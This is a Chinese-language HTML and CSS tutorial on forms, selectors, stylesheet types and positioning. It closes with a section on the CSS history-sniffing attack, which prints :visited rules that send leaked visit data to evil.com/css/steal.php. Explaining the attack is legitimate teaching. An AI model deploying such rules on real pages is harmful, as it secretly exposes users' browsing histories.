HTML&CSS
1.HTML
HTML 表单用于收集不同类型的用户输入。表单是一个包含表单元素的区域,表单元素时允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签<form>
定义。
HTML负责网页的具体内容(结构),而CSS则修饰网页的表现形式(布局)。
2.CSS
2.1 CSS基本模型
selector {property : value;}
selector : 选择器:表明花括号中的属性设置将应用于哪些HTML元素(例如body
)
property:例如用于设置背景色的属性background-color
等等
value:值,例如设置background-color
属性的值可以是#FF0000
(代表红色)
举个例子:
h1 {color:red; font-size:14px;} //设置标题h1颜色为红色,字体大小为14个像素
2.2 id选择器
id选择器可以为标有特定id的HTML元素制定特定的样式,id选择器以“#”来定义。
下面的两个id选择器,第一个定义元素的颜色为红色,第二个定义元素的颜色为绿色:
#red {color:red;}
#green {color:green;}
下面的HTML代码中,id属性为red的p元素显示为红色,而id属性为green的p元素为绿色。
<p id="red">这个段落是红色</p>
<p id="green">这个段落是绿色</p>
2.3 样式表
当读到一个样式表时,浏览器会根据它来格式化HTML文档。插入样式表的方法有三种:
- 外部样式表
当样式需要应用很多页面时,外部样式表将是理想的选择。在使用外部样式表的情况下,可以通过改变一个文件来改变整个站点的外观。每个网页使用<link>
链接到样式表。<link>
标签链接到样式表。 <link>
标签在(文档的)头部:
<head>
<link rel="stylesheet" type="text/css" href="mystyle.css" />
</head>
- 内部样式表
当单个文档需要特殊的样式时,就应该使用内部样式表。可以使用<style>
标签在文档头部定义内部样式表:
<head>
<style type="text/css">
hr {color: sienna;}
p {margin-left: 20px;}
body {background-image: url("images/back40.gif");}
</style>
</head>
- 内联样式
由于要将表现和内容混杂在一起,内联样式会损失样式表的许多优势。毕竟我们设计CSS的初衷是想把表现和内容分开处理,所以对这种样式,请慎用。
要使用内联样式,需要在相关的标签内使用样式(style)属性。Style属性可以包含任何CSS属性。下面举的例子展示如何改变段落的颜色和左边外距:
<p style="color: sienna; margin-left: 20px">
This is a paragraph
</p>
2.4 CSS position属性
通过使用position属性,我们可以选择4中不同类型的定位,这会影响元素框生成的方式。
position属性值的含义:
static
元素框正常生成,块级元素生成一个矩形框,作为文档流的一部分,行内元素则会创建一个或多个行框,置于其父元素中。relative
元素框偏移某个距离,元素仍保持其未定位前的形状,它原本所占的空间仍保留。absolute
元素框从文档流完全删除,并相对于其包含块定位。包含块可能是文档中的另一个元素或者是初始包含块。元素原来在正常文档流中所占的空间会关闭,就好像元素原来不存在一样。元素定位后生成一个块级框,而不论原来它在正常流中生成何种类型的框。fixed
元素框的表现类似于将position设置为absolute,不过其包含块是视窗本身。
2.5 CSS history攻击
可通过CSS:visited
来检测用户访问过的历史,这本身并不危险。但如果调用JS函数getComputedStyle()结合的话,攻击者就能够彻底查看用户的所有访问记录,而这些历史记录如果保存较长时间的话,几乎能够完全反映用户的访问习惯。
CSS history攻击举例:
曾经出现比较久的CSS History攻击利用的就是:visited伪类技巧进行的,原理很简单,就是准备一批常用的链接,然后批量生成如下形式:
<a href="http://www.baidu.com/" id="a1"> http://www.baidu.com/ </a> <br/>
<a href="http://www.17173.com/" id="a2"> http://www.17173.com/</a><br/>
<a href="http://www.qq.com/" id="a3"> http://www.qq.com/</a><br/>
并针对id设置对应的:visited样式,语句如下:
#a1:visited {background: url(http://www.evil.com/css/steal.php?data=a1);}
#a2:visited {background: url(http://www.evil.com/css/steal.php?data=a2);}
#a3:visited {background: url(http://www.evil.com/css/steal.php?data=a3);}
如果其中的链接之前访问过(也就是存在历史记录中),那么:visited就会触发,随后会发送一个唯一的请求到目标地址,这样就可以知道被攻击者的历史记录是否存在这个链接,从而攻击者就可以通过这种方式来获取受害者的历史记录的信息。